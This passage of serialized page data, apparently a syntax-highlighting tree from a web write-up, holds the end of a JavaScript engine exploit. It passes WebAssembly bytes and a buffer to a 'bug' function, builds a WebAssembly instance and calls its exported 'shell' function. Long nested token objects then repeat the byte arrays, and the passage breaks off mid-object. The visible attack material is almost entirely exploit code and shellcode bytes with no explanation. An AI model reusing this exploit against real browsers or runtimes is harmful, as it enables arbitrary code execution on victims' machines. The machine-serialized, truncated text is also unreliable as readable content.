0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[136434],{"type":21,"tag":78,"props":136435,"children":136436},{"__ignoreMap":7},[136437,136460,136487,136707,136774,136782,136809,137023,137275,137526,137752,137996,138216,138223,138272,138317,138361,138400,138412],{"type":21,"tag":153,"props":136438,"children":136439},{"class":155,"line":156},[136440,136444,136448,136452,136456],{"type":21,"tag":153,"props":136441,"children":136442},{"style":160},[136443],{"type":26,"value":189},{"type":21,"tag":153,"props":136445,"children":136446},{"style":170},[136447],{"type":26,"value":38838},{"type":21,"tag":153,"props":136449,"children":136450},{"style":160},[136451],{"type":26,"value":42388},{"type":21,"tag":153,"props":136453,"children":136454},{"style":170},[136455],{"type":26,"value":17524},{"type":21,"tag":153,"props":136457,"children":136458},{"style":160},[136459],{"type":26,"value":236},{"type":21,"tag":153,"props":136461,"children":136462},{"class":155,"line":166},[136463,136467,136471,136475,136479,136483],{"type":21,"tag":153,"props":136464,"children":136465},{"style":170},[136466],{"type":26,"value":38881},{"type":21,"tag":153,"props":136468,"children":136469},{"style":192},[136470],{"type":26,"value":135751},{"type":21,"tag":153,"props":136472,"children":136473},{"style":198},[136474],{"type":26,"value":255},{"type":21,"tag":153,"props":136476,"children":136477},{"style":170},[136478],{"type":26,"value":34627},{"type":21,"tag":153,"props":136480,"children":136481},{"style":181},[136482],{"type":26,"value":135764},{"type":21,"tag":153,"props":136484,"children":136485},{"style":160},[136486],{"type":26,"value":135769},{"type":21,"tag":153,"props":136488,"children":136489},{"class":155,"line":225},[136490,136495,136499,136503,136507,136511,136515,136519,136523,136527,136531,136535,136539,136543,136547,136551,136555,136559,136563,136567,136571,136575,136579,136583,136587,136591,136595,136599,136603,136607,136611,136615,136619,136623,136627,136631,136635,136639,136643,136647,136651,136655,136659,136663,136667,136671,136675,136679,136683,136687,136691,136695,136699,136703],{"type":21,"tag":153,"props":136491,"children":136492},{"style":300},[136493],{"type":26,"value":136494},"    0",{"type":21,"tag":153,"props":136496,"children":136497},{"style":160},[136498],{"type":26,"value":1670},{"type":21,"tag":153,"props":136500,"children":136501},{"style":300},[136502],{"type":26,"value":135786},{"type":21,"tag":153,"props":136504,"children":136505},{"style":160},[136506],{"type":26,"value":1670},{"type":21,"tag":153,"props":136508,"children":136509},{"style":300},[136510],{"type":26,"value":135795},{"type":21,"tag":153,"props":136512,"children":136513},{"style":160},[136514],{"type":26,"value":1670},{"type":21,"tag":153,"props":136516,"children":136517},{"style":300},[136518],{"type":26,"value":135804},{"type":21,"tag":153,"props":136520,"children":136521},{"style":160},[136522],{"type":26,"value":1670},{"type":21,"tag":153,"props":136524,"children":136525},{"style":300},[136526],{"type":26,"value":3033},{"type":21,"tag":153,"props":136528,"children":136529},{"style":160},[136530],{"type":26,"value":1670},{"type":21,"tag":153,"props":136532,"children":136533},{"style":300},[136534],{"type":26,"value":2996},{"type":21,"tag":153,"props":136536,"children":136537},{"style":160},[136538],{"type":26,"value":1670},{"type":21,"tag":153,"props":136540,"children":136541},{"style":300},[136542],{"type":26,"value":2996},{"type":21,"tag":153,"props":136544,"children":136545},{"style":160},[136546],{"type":26,"value":1670},{"type":21,"tag":153,"props":136548,"children":136549},{"style":300},[136550],{"type":26,"value":2996},{"type":21,"tag":153,"props":136552,"children":136553},{"style":160},[136554],{"type":26,"value":1670},{"type":21,"tag":153,"props":136556,"children":136557},{"style":300},[136558],{"type":26,"value":3033},{"type":21,"tag":153,"props":136560,"children":136561},{"style":160},[136562],{"type":26,"value":1670},{"type":21,"tag":153,"props":136564,"children":136565},{"style":300},[136566],{"type":26,"value":4104},{"type":21,"tag":153,"props":136568,"children":136569},{"style":160},[136570],{"type":26,"value":1670},{"type":21,"tag":153,"props":136572,"children":136573},{"style":300},[136574],{"type":26,"value":3033},{"type":21,"tag":153,"props":136576,"children":136577},{"style":160},[136578],{"type":26,"value":1670},{"type":21,"tag":153,"props":136580,"children":136581},{"style":300},[136582],{"type":26,"value":135869},{"type":21,"tag":153,"props":136584,"children":136585},{"style":160},[136586],{"type":26,"value":1670},{"type":21,"tag":153,"props":136588,"children":136589},{"style":300},[136590],{"type":26,"value":2996},{"type":21,"tag":153,"props":136592,"children":136593},{"style":160},[136594],{"type":26,"value":1670},{"type":21,"tag":153,"props":136596,"children":136597},{"style":300},[136598],{"type":26,"value":2996},{"type":21,"tag":153,"props":136600,"children":136601},{"style":160},[136602],{"type":26,"value":1670},{"type":21,"tag":153,"props":136604,"children":136605},{"style":300},[136606],{"type":26,"value":4303},{"type":21,"tag":153,"props":136608,"children":136609},{"style":160},[136610],{"type":26,"value":1670},{"type":21,"tag":153,"props":136612,"children":136613},{"style":300},[136614],{"type":26,"value":5873},{"type":21,"tag":153,"props":136616,"children":136617},{"style":160},[136618],{"type":26,"value":1670},{"type":21,"tag":153,"props":136620,"children":136621},{"style":300},[136622],{"type":26,"value":3033},{"type":21,"tag":153,"props":136624,"children":136625},{"style":160},[136626],{"type":26,"value":1670},{"type":21,"tag":153,"props":136628,"children":136629},{"style":300},[136630],{"type":26,"value":2996},{"type":21,"tag":153,"props":136632,"children":136633},{"style":160},[136634],{"type":26,"value":1670},{"type":21,"tag":153,"props":136636,"children":136637},{"style":300},[136638],{"type":26,"value":56962},{"type":21,"tag":153,"props":136640,"children":136641},{"style":160},[136642],{"type":26,"value":1670},{"type":21,"tag":153,"props":136644,"children":136645},{"style":300},[136646],{"type":26,"value":58177},{"type":21,"tag":153,"props":136648,"children":136649},{"style":160},[136650],{"type":26,"value":1670},{"type":21,"tag":153,"props":136652,"children":136653},{"style":300},[136654],{"type":26,"value":3033},{"type":21,"tag":153,"props":136656,"children":136657},{"style":160},[136658],{"type":26,"value":1670},{"type":21,"tag":153,"props":136660,"children":136661},{"style":300},[136662],{"type":26,"value":20805},{"type":21,"tag":153,"props":136664,"children":136665},{"style":160},[136666],{"type":26,"value":1670},{"type":21,"tag":153,"props":136668,"children":136669},{"style":300},[136670],{"type":26,"value":135795},{"type":21,"tag":153,"props":136672,"children":136673},{"style":160},[136674],{"type":26,"value":1670},{"type":21,"tag":153,"props":136676,"children":136677},{"style":300},[136678],{"type":26,"value":135966},{"type":21,"tag":153,"props":136680,"children":136681},{"style":160},[136682],{"type":26,"value":1670},{"type":21,"tag":153,"props":136684,"children":136685},{"style":300},[136686],{"type":26,"value":135975},{"type":21,"tag":153,"props":136688,"children":136689},{"style":160},[136690],{"type":26,"value":1670},{"type":21,"tag":153,"props":136692,"children":136693},{"style":300},[136694],{"type":26,"value":135984},{"type":21,"tag":153,"props":136696,"children":136697},{"style":160},[136698],{"type":26,"value":1670},{"type":21,"tag":153,"props":136700,"children":136701},{"style":300},[136702],{"type":26,"value":135984},{"type":21,"tag":153,"props":136704,"children":136705},{"style":160},[136706],{"type":26,"value":792},{"type":21,"tag":153,"props":136708,"children":136709},{"class":155,"line":239},[136710,136714,136718,136722,136726,136730,136734,136738,136742,136746,136750,136754,136758,136762,136766,136770],{"type":21,"tag":153,"props":136711,"children":136712},{"style":300},[136713],{"type":26,"value":136494},{"type":21,"tag":153,"props":136715,"children":136716},{"style":160},[136717],{"type":26,"value":1670},{"type":21,"tag":153,"props":136719,"children":136720},{"style":300},[136721],{"type":26,"value":2996},{"type":21,"tag":153,"props":136723,"children":136724},{"style":160},[136725],{"type":26,"value":1670},{"type":21,"tag":153,"props":136727,"children":136728},{"style":300},[136729],{"type":26,"value":91550},{"type":21,"tag":153,"props":136731,"children":136732},{"style":160},[136733],{"type":26,"value":1670},{"type":21,"tag":153,"props":136735,"children":136736},{"style":300},[136737],{"type":26,"value":4104},{"type":21,"tag":153,"props":136739,"children":136740},{"style":160},[136741],{"type":26,"value":1670},{"type":21,"tag":153,"props":136743,"children":136744},{"style":300},[136745],{"type":26,"value":3033},{"type":21,"tag":153,"props":136747,"children":136748},{"style":160},[136749],{"type":26,"value":1670},{"type":21,"tag":153,"props":136751,"children":136752},{"style":300},[136753],{"type":26,"value":5873},{"type":21,"tag":153,"props":136755,"children":136756},{"style":160},[136757],{"type":26,"value":1670},{"type":21,"tag":153,"props":136759,"children":136760},{"style":300},[136761],{"type":26,"value":2996},{"type":21,"tag":153,"props":136763,"children":136764},{"style":160},[136765],{"type":26,"value":1670},{"type":21,"tag":153,"props":136767,"children":136768},{"style":300},[136769],{"type":26,"value":136060},{"type":21,"tag":153,"props":136771,"children":136772},{"style":160},[136773],{"type":26,"value":792},{"type":21,"tag":153,"props":136775,"children":136776},{"class":155,"line":382},[136777],{"type":21,"tag":153,"props":136778,"children":136779},{"style":160},[136780],{"type":26,"value":136781},"  ]);\n",{"type":21,"tag":153,"props":136783,"children":136784},{"class":155,"line":501},[136785,136789,136793,136797,136801,136805],{"type":21,"tag":153,"props":136786,"children":136787},{"style":170},[136788],{"type":26,"value":38881},{"type":21,"tag":153,"props":136790,"children":136791},{"style":192},[136792],{"type":26,"value":127564},{"type":21,"tag":153,"props":136794,"children":136795},{"style":198},[136796],{"type":26,"value":255},{"type":21,"tag":153,"props":136798,"children":136799},{"style":170},[136800],{"type":26,"value":34627},{"type":21,"tag":153,"props":136802,"children":136803},{"style":181},[136804],{"type":26,"value":135764},{"type":21,"tag":153,"props":136806,"children":136807},{"style":160},[136808],{"type":26,"value":135769},{"type":21,"tag":153,"props":136810,"children":136811},{"class":155,"line":533},[136812,136817,136821,136825,136829,136834,136838,136843,136847,136852,136856,136861,136865,136870,136874,136879,136883,136888,136892,136897,136901,136905,136909,136913,136917,136922,136926,136931,136935,136939,136943,136947,136951,136955,136959,136963,136967,136971,136975,136979,136983,136987,136991,136995,136999,137003,137007,137011,137015,137019],{"type":21,"tag":153,"props":136813,"children":136814},{"style":300},[136815],{"type":26,"value":136816},"    147",{"type":21,"tag":153,"props":136818,"children":136819},{"style":160},[136820],{"type":26,"value":1670},{"type":21,"tag":153,"props":136822,"children":136823},{"style":300},[136824],{"type":26,"value":21117},{"type":21,"tag":153,"props":136826,"children":136827},{"style":160},[136828],{"type":26,"value":1670},{"type":21,"tag":153,"props":136830,"children":136831},{"style":300},[136832],{"type":26,"value":136833},"222",{"type":21,"tag":153,"props":136835,"children":136836},{"style":160},[136837],{"type":26,"value":1670},{"type":21,"tag":153,"props":136839,"children":136840},{"style":300},[136841],{"type":26,"value":136842},"192",{"type":21,"tag":153,"props":136844,"children":136845},{"style":160},[136846],{"type":26,"value":1670},{"type":21,"tag":153,"props":136848,"children":136849},{"style":300},[136850],{"type":26,"value":136851},"20",{"type":21,"tag":153,"props":136853,"children":136854},{"style":160},[136855],{"type":26,"value":1670},{"type":21,"tag":153,"props":136857,"children":136858},{"style":300},[136859],{"type":26,"value":136860},"119",{"type":21,"tag":153,"props":136862,"children":136863},{"style":160},[136864],{"type":26,"value":1670},{"type":21,"tag":153,"props":136866,"children":136867},{"style":300},[136868],{"type":26,"value":136869},"44",{"type":21,"tag":153,"props":136871,"children":136872},{"style":160},[136873],{"type":26,"value":1670},{"type":21,"tag":153,"props":136875,"children":136876},{"style":300},[136877],{"type":26,"value":136878},"43",{"type":21,"tag":153,"props":136880,"children":136881},{"style":160},[136882],{"type":26,"value":1670},{"type":21,"tag":153,"props":136884,"children":136885},{"style":300},[136886],{"type":26,"value":136887},"127",{"type":21,"tag":153,"props":136889,"children":136890},{"style":160},[136891],{"type":26,"value":1670},{"type":21,"tag":153,"props":136893,"children":136894},{"style":300},[136895],{"type":26,"value":136896},"62",{"type":21,"tag":153,"props":136898,"children":136899},{"style":160},[136900],{"type":26,"value":1670},{"type":21,"tag":153,"props":136902,"children":136903},{"style":300},[136904],{"type":26,"value":4303},{"type":21,"tag":153,"props":136906,"children":136907},{"style":160},[136908],{"type":26,"value":1670},{"type":21,"tag":153,"props":136910,"children":136911},{"style":300},[136912],{"type":26,"value":2996},{"type":21,"tag":153,"props":136914,"children":136915},{"style":160},[136916],{"type":26,"value":1670},{"type":21,"tag":153,"props":136918,"children":136919},{"style":300},[136920],{"type":26,"value":136921},"159",{"type":21,"tag":153,"props":136923,"children":136924},{"style":160},[136925],{"type":26,"value":1670},{"type":21,"tag":153,"props":136927,"children":136928},{"style":300},[136929],{"type":26,"value":136930},"206",{"type":21,"tag":153,"props":136932,"children":136933},{"style":160},[136934],{"type":26,"value":1670},{"type":21,"tag":153,"props":136936,"children":136937},{"style":300},[136938],{"type":26,"value":3878},{"type":21,"tag":153,"props":136940,"children":136941},{"style":160},[136942],{"type":26,"value":1670},{"type":21,"tag":153,"props":136944,"children":136945},{"style":300},[136946],{"type":26,"value":136878},{"type":21,"tag":153,"props":136948,"children":136949},{"style":160},[136950],{"type":26,"value":1670},{"type":21,"tag":153,"props":136952,"children":136953},{"style":300},[136954],{"type":26,"value":2996},{"type":21,"tag":153,"props":136956,"children":136957},{"style":160},[136958],{"type":26,"value":1670},{"type":21,"tag":153,"props":136960,"children":136961},{"style":300},[136962],{"type":26,"value":2996},{"type":21,"tag":153,"props":136964,"children":136965},{"style":160},[136966],{"type":26,"value":1670},{"type":21,"tag":153,"props":136968,"children":136969},{"style":300},[136970],{"type":26,"value":4303},{"type":21,"tag":153,"props":136972,"children":136973},{"style":160},[136974],{"type":26,"value":1670},{"type":21,"tag":153,"props":136976,"children":136977},{"style":300},[136978],{"type":26,"value":2996},{"type":21,"tag":153,"props":136980,"children":136981},{"style":160},[136982],{"type":26,"value":1670},{"type":21,"tag":153,"props":136984,"children":136985},{"style":300},[136986],{"type":26,"value":2996},{"type":21,"tag":153,"props":136988,"children":136989},{"style":160},[136990],{"type":26,"value":1670},{"type":21,"tag":153,"props":136992,"children":136993},{"style":300},[136994],{"type":26,"value":2996},{"type":21,"tag":153,"props":136996,"children":136997},{"style":160},[136998],{"type":26,"value":1670},{"type":21,"tag":153,"props":137000,"children":137001},{"style":300},[137002],{"type":26,"value":2996},{"type":21,"tag":153,"props":137004,"children":137005},{"style":160},[137006],{"type":26,"value":1670},{"type":21,"tag":153,"props":137008,"children":137009},{"style":300},[137010],{"type":26,"value":2996},{"type":21,"tag":153,"props":137012,"children":137013},{"style":160},[137014],{"type":26,"value":1670},{"type":21,"tag":153,"props":137016,"children":137017},{"style":300},[137018],{"type":26,"value":32117},{"type":21,"tag":153,"props":137020,"children":137021},{"style":160},[137022],{"type":26,"value":792},{"type":21,"tag":153,"props":137024,"children":137025},{"class":155,"line":542},[137026,137030,137034,137038,137042,137046,137050,137054,137058,137062,137066,137070,137074,137078,137082,137086,137090,137094,137098,137102,137106,137110,137114,137118,137122,137126,137130,137134,137138,137142,137146,137150,137154,137158,137162,137167,137171,137175,137179,137183,137187,137191,137195,137199,137203,137207,137211,137215,137219,137223,137227,137231,137235,137239,137243,137247,137251,137255,137259,137263,137267,137271],{"type":21,"tag":153,"props":137027,"children":137028},{"style":300},[137029],{"type":26,"value":136494},{"type":21,"tag":153,"props":137031,"children":137032},{"style":160},[137033],{"type":26,"value":1670},{"type":21,"tag":153,"props":137035,"children":137036},{"style":300},[137037],{"type":26,"value":2996},{"type":21,"tag":153,"props":137039,"children":137040},{"style":160},[137041],{"type":26,"value":1670},{"type":21,"tag":153,"props":137043,"children":137044},{"style":300},[137045],{"type":26,"value":2996},{"type":21,"tag":153,"props":137047,"children":137048},{"style":160},[137049],{"type":26,"value":1670},{"type":21,"tag":153,"props":137051,"children":137052},{"style":300},[137053],{"type":26,"value":2996},{"type":21,"tag":153,"props":137055,"children":137056},{"style":160},[137057],{"type":26,"value":1670},{"type":21,"tag":153,"props":137059,"children":137060},{"style":300},[137061],{"type":26,"value":2996},{"type":21,"tag":153,"props":137063,"children":137064},{"style":160},[137065],{"type":26,"value":1670},{"type":21,"tag":153,"props":137067,"children":137068},{"style":300},[137069],{"type":26,"value":2996},{"type":21,"tag":153,"props":137071,"children":137072},{"style":160},[137073],{"type":26,"value":1670},{"type":21,"tag":153,"props":137075,"children":137076},{"style":300},[137077],{"type":26,"value":2996},{"type":21,"tag":153,"props":137079,"children":137080},{"style":160},[137081],{"type":26,"value":1670},{"type":21,"tag":153,"props":137083,"children":137084},{"style":300},[137085],{"type":26,"value":3033},{"type":21,"tag":153,"props":137087,"children":137088},{"style":160},[137089],{"type":26,"value":1670},{"type":21,"tag":153,"props":137091,"children":137092},{"style":300},[137093],{"type":26,"value":2996},{"type":21,"tag":153,"props":137095,"children":137096},{"style":160},[137097],{"type":26,"value":1670},{"type":21,"tag":153,"props":137099,"children":137100},{"style":300},[137101],{"type":26,"value":2996},{"type":21,"tag":153,"props":137103,"children":137104},{"style":160},[137105],{"type":26,"value":1670},{"type":21,"tag":153,"props":137107,"children":137108},{"style":300},[137109],{"type":26,"value":2996},{"type":21,"tag":153,"props":137111,"children":137112},{"style":160},[137113],{"type":26,"value":1670},{"type":21,"tag":153,"props":137115,"children":137116},{"style":300},[137117],{"type":26,"value":2996},{"type":21,"tag":153,"props":137119,"children":137120},{"style":160},[137121],{"type":26,"value":1670},{"type":21,"tag":153,"props":137123,"children":137124},{"style":300},[137125],{"type":26,"value":2996},{"type":21,"tag":153,"props":137127,"children":137128},{"style":160},[137129],{"type":26,"value":1670},{"type":21,"tag":153,"props":137131,"children":137132},{"style":300},[137133],{"type":26,"value":2996},{"type":21,"tag":153,"props":137135,"children":137136},{"style":160},[137137],{"type":26,"value":1670},{"type":21,"tag":153,"props":137139,"children":137140},{"style":300},[137141],{"type":26,"value":2996},{"type":21,"tag":153,"props":137143,"children":137144},{"style":160},[137145],{"type":26,"value":1670},{"type":21,"tag":153,"props":137147,"children":137148},{"style":300},[137149],{"type":26,"value":2996},{"type":21,"tag":153,"props":137151,"children":137152},{"style":160},[137153],{"type":26,"value":1670},{"type":21,"tag":153,"props":137155,"children":137156},{"style":300},[137157],{"type":26,"value":4104},{"type":21,"tag":153,"props":137159,"children":137160},{"style":160},[137161],{"type":26,"value":1670},{"type":21,"tag":153,"props":137163,"children":137164},{"style":300},[137165],{"type":26,"value":137166},"28",{"type":21,"tag":153,"props":137168,"children":137169},{"style":160},[137170],{"type":26,"value":1670},{"type":21,"tag":153,"props":137172,"children":137173},{"style":300},[137174],{"type":26,"value":2996},{"type":21,"tag":153,"props":137176,"children":137177},{"style":160},[137178],{"type":26,"value":1670},{"type":21,"tag":153,"props":137180,"children":137181},{"style":300},[137182],{"type":26,"value":2996},{"type":21,"tag":153,"props":137184,"children":137185},{"style":160},[137186],{"type":26,"value":1670},{"type":21,"tag":153,"props":137188,"children":137189},{"style":300},[137190],{"type":26,"value":2996},{"type":21,"tag":153,"props":137192,"children":137193},{"style":160},[137194],{"type":26,"value":1670},{"type":21,"tag":153,"props":137196,"children":137197},{"style":300},[137198],{"type":26,"value":470},{"type":21,"tag":153,"props":137200,"children":137201},{"style":160},[137202],{"type":26,"value":1670},{"type":21,"tag":153,"props":137204,"children":137205},{"style":300},[137206],{"type":26,"value":2996},{"type":21,"tag":153,"props":137208,"children":137209},{"style":160},[137210],{"type":26,"value":1670},{"type":21,"tag":153,"props":137212,"children":137213},{"style":300},[137214],{"type":26,"value":2996},{"type":21,"tag":153,"props":137216,"children":137217},{"style":160},[137218],{"type":26,"value":1670},{"type":21,"tag":153,"props":137220,"children":137221},{"style":300},[137222],{"type":26,"value":2996},{"type":21,"tag":153,"props":137224,"children":137225},{"style":160},[137226],{"type":26,"value":1670},{"type":21,"tag":153,"props":137228,"children":137229},{"style":300},[137230],{"type":26,"value":137166},{"type":21,"tag":153,"props":137232,"children":137233},{"style":160},[137234],{"type":26,"value":1670},{"type":21,"tag":153,"props":137236,"children":137237},{"style":300},[137238],{"type":26,"value":2996},{"type":21,"tag":153,"props":137240,"children":137241},{"style":160},[137242],{"type":26,"value":1670},{"type":21,"tag":153,"props":137244,"children":137245},{"style":300},[137246],{"type":26,"value":2996},{"type":21,"tag":153,"props":137248,"children":137249},{"style":160},[137250],{"type":26,"value":1670},{"type":21,"tag":153,"props":137252,"children":137253},{"style":300},[137254],{"type":26,"value":2996},{"type":21,"tag":153,"props":137256,"children":137257},{"style":160},[137258],{"type":26,"value":1670},{"type":21,"tag":153,"props":137260,"children":137261},{"style":300},[137262],{"type":26,"value":137166},{"type":21,"tag":153,"props":137264,"children":137265},{"style":160},[137266],{"type":26,"value":1670},{"type":21,"tag":153,"props":137268,"children":137269},{"style":300},[137270],{"type":26,"value":2996},{"type":21,"tag":153,"props":137272,"children":137273},{"style":160},[137274],{"type":26,"value":792},{"type":21,"tag":153,"props":137276,"children":137277},{"class":155,"line":762},[137278,137282,137286,137290,137294,137298,137302,137306,137310,137314,137318,137322,137326,137330,137334,137338,137342,137346,137350,137354,137358,137362,137366,137370,137374,137378,137382,137386,137390,137394,137398,137402,137406,137410,137414,137418,137422,137426,137430,137434,137438,137442,137446,137450,137454,137458,137462,137466,137470,137474,137478,137482,137486,137490,137494,137498,137502,137506,137510,137514,137518,137522],{"type":21,"tag":153,"props":137279,"children":137280},{"style":300},[137281],{"type":26,"value":136494},{"type":21,"tag":153,"props":137283,"children":137284},{"style":160},[137285],{"type":26,"value":1670},{"type":21,"tag":153,"props":137287,"children":137288},{"style":300},[137289],{"type":26,"value":2996},{"type":21,"tag":153,"props":137291,"children":137292},{"style":160},[137293],{"type":26,"value":1670},{"type":21,"tag":153,"props":137295,"children":137296},{"style":300},[137297],{"type":26,"value":137166},{"type":21,"tag":153,"props":137299,"children":137300},{"style":160},[137301],{"type":26,"value":1670},{"type":21,"tag":153,"props":137303,"children":137304},{"style":300},[137305],{"type":26,"value":2996},{"type":21,"tag":153,"props":137307,"children":137308},{"style":160},[137309],{"type":26,"value":1670},{"type":21,"tag":153,"props":137311,"children":137312},{"style":300},[137313],{"type":26,"value":2996},{"type":21,"tag":153,"props":137315,"children":137316},{"style":160},[137317],{"type":26,"value":1670},{"type":21,"tag":153,"props":137319,"children":137320},{"style":300},[137321],{"type":26,"value":2996},{"type":21,"tag":153,"props":137323,"children":137324},{"style":160},[137325],{"type":26,"value":1670},{"type":21,"tag":153,"props":137327,"children":137328},{"style":300},[137329],{"type":26,"value":4104},{"type":21,"tag":153,"props":137331,"children":137332},{"style":160},[137333],{"type":26,"value":1670},{"type":21,"tag":153,"props":137335,"children":137336},{"style":300},[137337],{"type":26,"value":2996},{"type":21,"tag":153,"props":137339,"children":137340},{"style":160},[137341],{"type":26,"value":1670},{"type":21,"tag":153,"props":137343,"children":137344},{"style":300},[137345],{"type":26,"value":2996},{"type":21,"tag":153,"props":137347,"children":137348},{"style":160},[137349],{"type":26,"value":1670},{"type":21,"tag":153,"props":137351,"children":137352},{"style":300},[137353],{"type":26,"value":2996},{"type":21,"tag":153,"props":137355,"children":137356},{"style":160},[137357],{"type":26,"value":1670},{"type":21,"tag":153,"props":137359,"children":137360},{"style":300},[137361],{"type":26,"value":2996},{"type":21,"tag":153,"props":137363,"children":137364},{"style":160},[137365],{"type":26,"value":1670},{"type":21,"tag":153,"props":137367,"children":137368},{"style":300},[137369],{"type":26,"value":2996},{"type":21,"tag":153,"props":137371,"children":137372},{"style":160},[137373],{"type":26,"value":1670},{"type":21,"tag":153,"props":137375,"children":137376},{"style":300},[137377],{"type":26,"value":2996},{"type":21,"tag":153,"props":137379,"children":137380},{"style":160},[137381],{"type":26,"value":1670},{"type":21,"tag":153,"props":137383,"children":137384},{"style":300},[137385],{"type":26,"value":2996},{"type":21,"tag":153,"props":137387,"children":137388},{"style":160},[137389],{"type":26,"value":1670},{"type":21,"tag":153,"props":137391,"children":137392},{"style":300},[137393],{"type":26,"value":2996},{"type":21,"tag":153,"props":137395,"children":137396},{"style":160},[137397],{"type":26,"value":1670},{"type":21,"tag":153,"props":137399,"children":137400},{"style":300},[137401],{"type":26,"value":2996},{"type":21,"tag":153,"props":137403,"children":137404},{"style":160},[137405],{"type":26,"value":1670},{"type":21,"tag":153,"props":137407,"children":137408},{"style":300},[137409],{"type":26,"value":2996},{"type":21,"tag":153,"props":137411,"children":137412},{"style":160},[137413],{"type":26,"value":1670},{"type":21,"tag":153,"props":137415,"children":137416},{"style":300},[137417],{"type":26,"value":2996},{"type":21,"tag":153,"props":137419,"children":137420},{"style":160},[137421],{"type":26,"value":1670},{"type":21,"tag":153,"props":137423,"children":137424},{"style":300},[137425],{"type":26,"value":32117},{"type":21,"tag":153,"props":137427,"children":137428},{"style":160},[137429],{"type":26,"value":1670},{"type":21,"tag":153,"props":137431,"children":137432},{"style":300},[137433],{"type":26,"value":2996},{"type":21,"tag":153,"props":137435,"children":137436},{"style":160},[137437],{"type":26,"value":1670},{"type":21,"tag":153,"props":137439,"children":137440},{"style":300},[137441],{"type":26,"value":2996},{"type":21,"tag":153,"props":137443,"children":137444},{"style":160},[137445],{"type":26,"value":1670},{"type":21,"tag":153,"props":137447,"children":137448},{"style":300},[137449],{"type":26,"value":2996},{"type":21,"tag":153,"props":137451,"children":137452},{"style":160},[137453],{"type":26,"value":1670},{"type":21,"tag":153,"props":137455,"children":137456},{"style":300},[137457],{"type":26,"value":2996},{"type":21,"tag":153,"props":137459,"children":137460},{"style":160},[137461],{"type":26,"value":1670},{"type":21,"tag":153,"props":137463,"children":137464},{"style":300},[137465],{"type":26,"value":2996},{"type":21,"tag":153,"props":137467,"children":137468},{"style":160},[137469],{"type":26,"value":1670},{"type":21,"tag":153,"props":137471,"children":137472},{"style":300},[137473],{"type":26,"value":2996},{"type":21,"tag":153,"props":137475,"children":137476},{"style":160},[137477],{"type":26,"value":1670},{"type":21,"tag":153,"props":137479,"children":137480},{"style":300},[137481],{"type":26,"value":2996},{"type":21,"tag":153,"props":137483,"children":137484},{"style":160},[137485],{"type":26,"value":1670},{"type":21,"tag":153,"props":137487,"children":137488},{"style":300},[137489],{"type":26,"value":2996},{"type":21,"tag":153,"props":137491,"children":137492},{"style":160},[137493],{"type":26,"value":1670},{"type":21,"tag":153,"props":137495,"children":137496},{"style":300},[137497],{"type":26,"value":2996},{"type":21,"tag":153,"props":137499,"children":137500},{"style":160},[137501],{"type":26,"value":1670},{"type":21,"tag":153,"props":137503,"children":137504},{"style":300},[137505],{"type":26,"value":2996},{"type":21,"tag":153,"props":137507,"children":137508},{"style":160},[137509],{"type":26,"value":1670},{"type":21,"tag":153,"props":137511,"children":137512},{"style":300},[137513],{"type":26,"value":2996},{"type":21,"tag":153,"props":137515,"children":137516},{"style":160},[137517],{"type":26,"value":1670},{"type":21,"tag":153,"props":137519,"children":137520},{"style":300},[137521],{"type":26,"value":2996},{"type":21,"tag":153,"props":137523,"children":137524},{"style":160},[137525],{"type":26,"value":792},{"type":21,"tag":153,"props":137527,"children":137528},{"class":155,"line":776},[137529,137533,137537,137541,137545,137549,137553,137557,137561,137565,137569,137573,137577,137581,137585,137589,137593,137597,137601,137605,137609,137613,137617,137621,137625,137629,137633,137637,137641,137645,137649,137653,137657,137662,137666,137670,137674,137679,137683,137688,137692,137697,137701,137705,137709,137714,137718,137722,137726,137731,137735,137739,137743,137748],{"type":21,"tag":153,"props":137530,"children":137531},{"style":300},[137532],{"type":26,"value":136494},{"type":21,"tag":153,"props":137534,"children":137535},{"style":160},[137536],{"type":26,"value":1670},{"type":21,"tag":153,"props":137538,"children":137539},{"style":300},[137540],{"type":26,"value":2996},{"type":21,"tag":153,"props":137542,"children":137543},{"style":160},[137544],{"type":26,"value":1670},{"type":21,"tag":153,"props":137546,"children":137547},{"style":300},[137548],{"type":26,"value":2996},{"type":21,"tag":153,"props":137550,"children":137551},{"style":160},[137552],{"type":26,"value":1670},{"type":21,"tag":153,"props":137554,"children":137555},{"style":300},[137556],{"type":26,"value":2996},{"type":21,"tag":153,"props":137558,"children":137559},{"style":160},[137560],{"type":26,"value":1670},{"type":21,"tag":153,"props":137562,"children":137563},{"style":300},[137564],{"type":26,"value":2996},{"type":21,"tag":153,"props":137566,"children":137567},{"style":160},[137568],{"type":26,"value":1670},{"type":21,"tag":153,"props":137570,"children":137571},{"style":300},[137572],{"type":26,"value":2996},{"type":21,"tag":153,"props":137574,"children":137575},{"style":160},[137576],{"type":26,"value":1670},{"type":21,"tag":153,"props":137578,"children":137579},{"style":300},[137580],{"type":26,"value":2996},{"type":21,"tag":153,"props":137582,"children":137583},{"style":160},[137584],{"type":26,"value":1670},{"type":21,"tag":153,"props":137586,"children":137587},{"style":300},[137588],{"type":26,"value":2996},{"type":21,"tag":153,"props":137590,"children":137591},{"style":160},[137592],{"type":26,"value":1670},{"type":21,"tag":153,"props":137594,"children":137595},{"style":300},[137596],{"type":26,"value":2996},{"type":21,"tag":153,"props":137598,"children":137599},{"style":160},[137600],{"type":26,"value":1670},{"type":21,"tag":153,"props":137602,"children":137603},{"style":300},[137604],{"type":26,"value":2996},{"type":21,"tag":153,"props":137606,"children":137607},{"style":160},[137608],{"type":26,"value":1670},{"type":21,"tag":153,"props":137610,"children":137611},{"style":300},[137612],{"type":26,"value":2996},{"type":21,"tag":153,"props":137614,"children":137615},{"style":160},[137616],{"type":26,"value":1670},{"type":21,"tag":153,"props":137618,"children":137619},{"style":300},[137620],{"type":26,"value":2996},{"type":21,"tag":153,"props":137622,"children":137623},{"style":160},[137624],{"type":26,"value":1670},{"type":21,"tag":153,"props":137626,"children":137627},{"style":300},[137628],{"type":26,"value":2996},{"type":21,"tag":153,"props":137630,"children":137631},{"style":160},[137632],{"type":26,"value":1670},{"type":21,"tag":153,"props":137634,"children":137635},{"style":300},[137636],{"type":26,"value":2996},{"type":21,"tag":153,"props":137638,"children":137639},{"style":160},[137640],{"type":26,"value":1670},{"type":21,"tag":153,"props":137642,"children":137643},{"style":300},[137644],{"type":26,"value":2996},{"type":21,"tag":153,"props":137646,"c